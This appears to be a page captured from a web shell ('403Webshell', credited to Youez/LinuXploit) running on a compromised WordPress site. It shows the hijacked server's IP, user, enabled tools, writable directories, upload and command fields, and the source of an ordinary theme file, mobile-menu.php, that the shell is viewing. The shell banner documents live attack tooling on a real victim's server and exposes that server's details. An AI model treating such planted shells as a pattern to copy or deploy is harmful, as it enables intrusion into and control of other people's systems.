403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/sieuthimayasia.com/public_html/wp-content/themes/mtw-maycn/template-parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sieuthimayasia.com/public_html/wp-content/themes/mtw-maycn/template-parts/mobile-menu.php
<?php
/**
 * Mobile menu Teamplate.
 * 
 * @package MTWTeam
 */
?>
<div class="mobile-menu-container">
	<div class="close-menu"><?php esc_html_e( 'Đóng menu x', 'maycn' ); ?></div>
	<?php
	/**
	* Displays a navigation menu
	* @param array $args Arguments
	*/
	$args = array(
		'theme_location' => 'mobile',
		'container' => '',
		'container_id' => '',
		'menu_class' => 'moblie-menu',
		'menu_id' => 'moblie-menu',
		'fallback_cb' => array( 'MTW_Menu_Support', 'mobile_fallback' ),
	);

	wp_nav_menu( $args ); ?>

	<?php
		
		$tel = mtwfn_option( 'mobile_menu_phone', null, false );

		if ( $tel ) {
			$tel = explode( '|', $tel );

			$tel_attr = $tel[0];

			if ( $tel[1] )  {
				$tel_html = $tel[1];
			} else {
				$tel_html = '';
			}
		} else {
			$tel_attr = '';
			$tel_html = '';
		}

		$facebook = mtwfn_option( 'mobile_menu_facebook', null, false );

		if ( $facebook ) {
			$facebook = explode( '|', $facebook );

			$facebook_attr = $facebook[0];

			if ( $facebook[1] )  {
				$facebook_html = $facebook[1];
			} else {
				$facebook_html = '';
			}
		} else {
			$facebook_attr = '';
			$facebook_html = '';
		}

	?>

	<div class="mobile-menu-contact">
		<a href="tel:<?php echo esc_attr( $tel_attr ); ?>">
			<span class="menu-icon"><i class="fa fa-phone-square"></i></span>

			<?php printf( esc_html__( 'Mobile: %s', 'maycn' ), esc_html( $tel_html ) ); ?>
		</a>

		<a href="mailto:<?php mtwfn_option( 'mobile_menu_email', null, true ); ?>">
			<span class="menu-icon"><i class="fa fa-envelope"></i></span>

			<?php mtwfn_option( 'mobile_menu_email', null, true ); ?>
		</a>

		<a href="<?php echo esc_attr( $facebook_attr ); ?>" rel="nofollow">
			<span class="menu-icon"><i class="fa fa-facebook-square"></i></span>

			<?php printf( esc_html__( 'Facebook: %s', 'maycn' ), esc_html( $facebook_html ) ); ?>
		</a>
	</div>
</div><!-- .mobile-menu-container -->

Youez - 2016 - github.com/yon3zu
LinuXploit